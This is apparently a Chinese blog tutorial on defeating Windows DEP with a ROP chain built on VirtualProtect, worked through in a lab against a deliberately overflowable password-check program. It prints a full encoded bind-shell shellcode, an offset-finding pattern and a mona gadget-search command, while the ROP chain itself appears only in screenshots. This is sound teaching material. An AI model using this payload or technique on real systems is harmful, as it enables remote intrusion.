Loading... # 什么是DEP DEP(数据执行保护,Data Execution Prevention)就是用来弥补计算机对数据和代码混淆这一天然缺陷的。DEP 的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入 shellcode 时,程序会尝试在数据页面上执行指令,此时 CPU 就会抛出异常,而不是去执行恶意指令。 简单来说DEP-就是在可以读写的区域不可执行,可以执行的区域不可读。比如栈溢出,EIP指向栈就会因为没有权限而发生报错。 ![image.png](http://www.irohane.top/usr/uploads/2021/01/385109927.png) # ROP绕过DEP 那我们就可以寻找位置来对目前的内存页属性进行更改,变为可执行代码。VirtualProtect 函数可以实现。 比如一个小例子: 虽然DEP不让我们在堆栈中执行程序,但是我们还是对其进行了溢出,在函数返回的地方,我们可以填入预计好的地址,使其跳入我们安排的代码段。注意必须收回程序控制权限。 ![image.png](http://www.irohane.top/usr/uploads/2021/01/1204454865.png) ![image.png](http://www.irohane.top/usr/uploads/2021/01/2356280070.png) # 环境设置 关闭其他安全检测,只让其拥有DEP保护 ![image.png](http://www.irohane.top/usr/uploads/2021/01/2140463074.png) ![image.png](http://www.irohane.top/usr/uploads/2021/01/1781681450.png) ![image.png](http://www.irohane.top/usr/uploads/2021/01/898438411.png) # 目标代码 ``` #include <iostream> #include <stdio.h> #include <Windows.h> #define PASSWORD "irohane" int VerifyPassword(char* pszPassword,int FileSize) { char szBuffer[50]; memcpy(szBuffer, pszPassword, FileSize);//栈溢出主要位置,传进来的PszPassword 最大为512字 //最大是50字节 printf(szBuffer); return strcmp(PASSWORD, szBuffer); } int main() { int nFlag = 0; char* szPassword = NULL; HANDLE fp; LoadLibrary("user32.dll"); //C:\\Users\\Administrator\\Desktop\\111.txt if (NULL == (fp = CreateFile("111.txt", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL))) { //MessageBox(NULL, "打开文件失败", "error", NULL); exit(0); } DWORD dwFilsize = 0; DWORD Filsize = GetFileSize(fp, &dwFilsize); szPassword = (char*)malloc(Filsize+1); memset(szPassword, 0, Filsize + 1); ReadFile(fp, szPassword, Filsize, &dwFilsize, NULL); nFlag = VerifyPassword(szPassword, dwFilsize); char Addbuf[20000] = {0};// if (nFlag)printf("密码错误!\n"); else printf("密码正确"); CloseHandle(fp); system("pause"); return 1; } ``` # ShellCode 使用之前的BindShell ``` \x33\xC0\xE8\xFF\xFF\xFF\xFF\xC3\x58\x8D\x70\x1B\x33\xC9\x66\xB9\x7B\x02\x8A\x04\x0E\x34\x17\x88\x04\x0E\xE2\xF6\x80\x34\x0E\x17\xFF\xE6\x94\xFB\x47\x42\x9C\xFB\x94\xFB\x07\xFC\x37\x74\x7A\x73\x39\x72\x6F\x72\x17\x60\x64\x25\x48\x24\x25\x39\x73\x7B\x7B\x17\x7C\x72\x65\x79\x72\x7B\x24\x25\x39\x73\x7B\x7B\x17\xFF\x17\x17\x17\x17\x4C\x9E\x4A\xEB\x73\x9C\x22\x27\x17\x17\x17\x9C\x61\x1B\x9C\x61\x0B\x9C\x21\x9C\x41\x1F\x45\x7F\x90\x25\xCF\xD7\xFF\x29\x17\x17\x17\x9C\xEF\x9A\x64\xF9\x7D\x17\x7D\x17\x41\xE8\xC0\x9E\x52\xEF\x9A\x64\xF4\x7D\x17\x7D\x17\x41\xE8\xC0\x9E\x52\xE3\xE8\x62\xE3\xE8\x62\xEF\xE8\x62\xEB\xFF\xDA\x17\x17\x17\xE8\x62\xEF\x7F\x74\x9E\xC6\x58\xFF\x10\x17\x17\x17\x7D\x17\xE8\xC7\x9C\xF2\x4A\x42\x9C\xFB\x94\xFB\x1B\x45\x9C\x5A\x1B\x9C\x56\x2B\x9C\x53\x1F\x6F\x9C\x6B\x1F\x0B\x14\xEE\x9E\x6A\xEB\x9C\x6B\x1F\x37\x14\xEE\x9E\x6A\xEF\x9C\x6B\x1F\x33\x14\xEE\x9E\x6A\xE3\x9C\x6B\x1F\x0F\x24\xDE\xFC\x16\x56\x9C\x62\xEF\x9C\x23\x99\x9C\x42\x1B\x9A\x23\x25\xE8\x62\x1F\x41\xFF\x36\x17\x17\x17\x94\xEF\x16\x62\xF2\x9C\x62\xE3\x24\xE8\x71\x9C\x2B\x59\x9C\x42\xEB\x9C\x23\xAD\x9C\x42\x1B\x9A\x13\x25\x4D\x9C\xF2\x4A\xD5\x1F\x17\x42\x9C\xFB\x94\xFB\x13\xD0\x52\xEB\x17\x17\x17\x17\x44\x46\x45\x9C\x62\x1F\x24\xDE\x24\xD7\x9D\x13\x19\x93\xD7\x63\x01\x9C\x4A\xEB\xD6\xF4\x0E\x9C\x42\xEB\xD6\xFD\x10\x1C\xCD\x14\xCF\x9E\x4A\xEB\x56\xFC\xF4\x9C\x4A\x1B\x9C\x42\xEB\x24\xD7\x2C\xCD\x62\x12\xAF\x16\x17\x17\x17\x4D\x4E\x4C\x9C\xF2\x4A\xD5\x1F\x17\x42\x9C\xFB\x96\xFB\x17\x14\x17\x17\xE8\x62\x07\x7F\x2A\x7D\xA3\x97\xFF\x26\xE8\xE8\xE8\x9A\xA2\x17\xEA\xE8\xE8\x41\x7F\x15\x15\x17\x17\xE8\xC7\x92\xD7\x18\x92\x17\x16\x17\x17\xE8\x62\x07\x7F\x3A\x25\x6F\xC9\xFF\x19\xE8\xE8\xE8\x7D\x17\x7D\x17\x7D\x17\x7D\x11\x7D\x16\x7D\x15\xE8\xC7\x9E\x52\xEB\xE8\x62\x07\x7F\x73\x07\xB0\xCA\xFF\xE7\xE9\xE8\xE8\x71\xD0\x92\x17\xE9\xE8\xE8\x15\x17\x71\xD0\x92\x15\xE9\xE8\xE8\x12\xFC\xD0\x92\x13\xE9\xE8\xE8\x17\x17\x17\x17\x9A\xA2\x17\xE9\xE8\xE8\x7D\x07\x41\xE8\x62\xEB\xE8\xC7\x92\xD7\x18\x92\xB4\x17\x17\x17\xE8\x62\x07\x7F\x1B\x88\xC4\x5C\xFF\xA6\xE9\xE8\xE8\x7F\xE8\xE8\xE8\x68\xE8\x62\xEB\xE8\xC7\x94\xEF\x17\x18\x92\x94\x17\x17\x17\xE8\x62\x07\x7F\xA6\x09\x80\x16\xFF\x86\xE9\xE8\xE8\x7D\x17\x7D\x17\xE8\x62\xEB\xE8\xC7\x9E\x52\xEB\xE8\x62\x1B\x7F\xDE\xAB\xB1\x7C\xFF\x6F\xE9\xE8\xE8\x9C\xC7\x9A\xAA\x67\xE8\xE8\xE8\xAE\x06\x17\x17\x17\xAF\x17\x17\x17\x17\xEB\xE4\xBC\xD0\x92\x67\xE8\xE8\xE8\x53\x17\x17\x17\xD0\x52\x8B\x17\x16\x17\x17\x71\xD0\x52\xB7\x17\x17\x9C\x62\xEB\x9E\x62\xBF\x9E\x62\xBB\x9E\x62\xA7\x9A\xA2\x67\xE8\xE8\xE8\x9A\xAA\x17\xE9\xE8\xE8\x9C\x4A\x1F\x9A\x4C\xCC\x40\x41\x7D\x17\x7D\x17\x7D\x17\x7D\x16\x7D\x17\x7D\x17\x44\x7D\x17\xE8\xC5\x9C\xF2\x4A\xD5\x1B\x17\x17 ``` # 步骤记录 ## 找到溢出位置 使用字典,使栈溢出。 ``` a0A0a1A1a2A2a3A3a4A4a5A5a6A6a7A7a8A8a9A9b0B0b1B1b2B2b3B3b4B4b5B5b6B6b7B7b8B8b9B9c0C0c1C1c2C2c3C3c4C4c5C5c6C6c7C7c8C8c9C9d0D0d1D1d2D2d3D3d4D4d5D5d6D6d7D7d8D8d9D9e0E0e1E1e2E2e3E3e4E4e5E5e6E6e7E7e8E8e9E9f0F0f1F1f2F2f3F3f4F4f5F5f6F6f7F7f8F8f9F9g0G0g1G1g2G2g3G3g4G4g5G5g6G6g7G7g8G8g9G9h0H0h1H1h2H2h3H3h4H4h5H5h6H6h7H7h8H8h9H9i0I0i1I1i2I2i3I3i4I4i5I5i6I6i7I7i8I8i9I9j0J0j1J1j2J2j3J3j4J4j5J5j6J6j7J7j8J8j9J9k0K0k1K1k2K2k3K3k4K4k5K5k6K6k7K7k8K8k9K9l0L0l1L1l2L2l3L3l4L4l5L5l6L6l7L7l8L8l9L9m0M0m1M1m2M2m3M3m4M4m5M5m6M6m7M7m8M8m9M9n0N0n1N1n2N2n3N3n4N4n5N5n6N6n7N7n8N8n9N9o0O0o1O1o2O2o3O3o4O4o5O5o6O6o7O7o8O8o9O9p0P0p1P1p2P2p3P3p4P4p5P5p6P6p7P7p8P8p9P9q0Q0q1Q1q2Q2q3Q3q4Q4q5Q5q6Q6q7Q7q8Q8q9Q9r0R0r1R1r2R2r3R3r4R4r5R5r6R6r7R7r8R8r9R9s0S0s1S1s2S2s3S3s4S4s5S5s6S6s7S7s8S8s9S9t0T0t1T1t2T2t3T3t4T4t5T5t6T6t7T7t8T8t9T9u0U0u1U1u2U2u3U3u4U4u5U5u6U6u7U7u8U8u9U9v0V0v1V1v2V2v3V3v4V4v5V5v6V6v7V7v8V8v9V9w0W0w1W1w2W2w3W3w4W4w5W5w6W6w7W7w8W8w9W9x0X0x1X1x2X2x3X3x4X4x5X5x6X6x7X7x8X8x9X9y0Y0y1Y1y2Y2y3Y3y4Y4y5Y5y6Y6y7Y7y8Y8y9Y9z0Z0z1Z1z2Z2z3Z3z4Z4z5Z5z6Z6z7Z7z8Z8z9Z9 ``` ![image.png](http://www.irohane.top/usr/uploads/2021/01/3045159198.png) ![image.png](http://www.irohane.top/usr/uploads/2021/01/3020963988.png) ![image.png](http://www.irohane.top/usr/uploads/2021/01/523558209.png)确认溢出点 确认位置 ![image.png](http://www.irohane.top/usr/uploads/2021/01/3083441870.png) ## 设计ROP链 左边的地址是设计好的,在执行完毕之后 ![image.png](http://www.irohane.top/usr/uploads/2021/01/3955297070.png) ## 启动WINDBUG-寻找ROP链需要的命令地址 启动WINDBUG之后我们需要找到 ![image.png](http://www.irohane.top/usr/uploads/2021/01/3236528140.png) 1. 加载mona 1. ![image.png](http://www.irohane.top/usr/uploads/2021/01/595253000.png) 2. ![image.png](http://www.irohane.top/usr/uploads/2021/01/2566094496.png) 2. 使用mona 找到对应汇编链的地址 1. ![image.png](http://www.irohane.top/usr/uploads/2021/01/3570090346.png) 2. 使用命令找到目标汇编链 1. !py mona findwild -s "pop edi#ret" -m "ntdll.dll" 这里只运行实例:后面就不继续放图了。 2. ![image.png](http://www.irohane.top/usr/uploads/2021/01/1216309607.png) 3. 在X32DBUG 中找到VirtualProTect![image.png](http://www.irohane.top/usr/uploads/2021/01/1082883976.png) 4. 使用0x12B13C来当返回的ShellCode地址![image.png](http://www.irohane.top/usr/uploads/2021/01/1606320422.png) 5. 旧的属性随便找一个之前用过的栈0x12B0F0![image.png](http://www.irohane.top/usr/uploads/2021/01/2493971099.png) 6. 最终找到这些跳转的地址进行组装。 7. ![image.png](http://www.irohane.top/usr/uploads/2021/01/2412640954.png) ### 对获取的数据进行组装ROP ![image.png](http://www.irohane.top/usr/uploads/2021/01/838013508.png) ![image.png](http://www.irohane.top/usr/uploads/2021/01/1751695650.png) ![image.png](http://www.irohane.top/usr/uploads/2021/01/619713714.png) ## 拼接ROP链 ![image.png](http://www.irohane.top/usr/uploads/2021/01/1496941066.png) ![image.png](http://www.irohane.top/usr/uploads/2021/01/487666140.png) ![image.png](http://www.irohane.top/usr/uploads/2021/01/3257243646.png) ![image.png](http://www.irohane.top/usr/uploads/2021/01/4059684051.png) ## 拼接SHELLCODE-注入灵魂 ![image.png](http://www.irohane.top/usr/uploads/2021/01/1197933126.png) ## 验证成功 ![image.png](http://www.irohane.top/usr/uploads/2021/01/2594143901.png) 最后修改:2021 年 01 月 19 日 © 允许规范转载 赞 0 如果觉得我的文章对你有用,请随意赞赏